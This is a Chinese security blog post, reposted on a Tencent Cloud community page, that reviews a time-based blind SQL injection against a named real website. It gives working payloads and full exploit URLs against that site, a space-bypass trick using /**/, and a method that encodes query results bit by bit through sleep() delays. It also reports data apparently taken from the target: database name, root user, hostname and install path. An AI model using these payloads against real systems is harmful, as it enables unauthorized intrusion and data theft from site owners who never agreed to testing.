前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >复盘某奇葩SQL时间延迟盲注(1)

复盘某奇葩SQL时间延迟盲注(1)

作者头像
黑白天安全
发布2021-06-16 16:59:40
2.6K4
发布2021-06-16 16:59:40
举报

记一次当时不会,事后特别后悔,复盘奇葩SQL时间延迟盲注

Sleep()函数内置查询注入

Payload: if(now()=sysdate(),sleep(5),0)

漏洞验证:

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(5)%2C0)

延迟了10秒

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(6)%2C0)

延迟了12秒

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(7)%2C0)

延迟了14秒

now()返回的时间是SQL语句执行的时间,无论在一次SQL语句中now()函数被执行多少次.即SQL开始执行的时间.

sysdate()返回的时间是函数执行的时间,

通过上面的payload测试可以延迟函数被执行了两次中执行了2次

获取当前数据库的库名长度

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate(),sleep(length(database())),0)

8/2=4,所以当前数据库的库名长度为4个字符

获取数据库名ascii编码后第1位数值后对其再进行二进制编码后的数值的长度为14/2=7(字符)

生成注入字典payload

中心思想是把执行结果通过substr()函数逐个字符进行切割,然后ascii编码成长度为2或3的阿拉伯数字,在进行bin()二进制编码在通过函数成长度为6到7,在把二进制编码后的字符串通过substr()函数逐个字符进行切割,通过Sleep()延迟函数执行0、1的方式向前台传递服务器信息。

当前数据库为deya

查看当前用户名为root@localhost

查看版本号

当时忘记加了判断特俗字符串和数字的判断

查看目标系统版本

Linuxzgli

查看主机名

ORAClEserve

获取数据库软件安装位置

/deya/cms/data/db/mysql

查表

利用条件是全部查询语句只能放在sleep()函数里面执行外带出来,且不能有空格。。。

问了好几个前辈都摇了摇头,结束之后本地靶机复盘测试,竟然查询成功

完整版exp如下:

用/**/规避空格执行报错问题

if numer == "0000000":

这行代码主要是判断字符是否为空

执行结果

主要就是递归枚举了这两个参数信息,来获取目标数据信息。

利用方式

把这个用for循环做个拼接,然后递归请求执行,执行响应的时间除以2,就可以得出结果。。。

结束

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档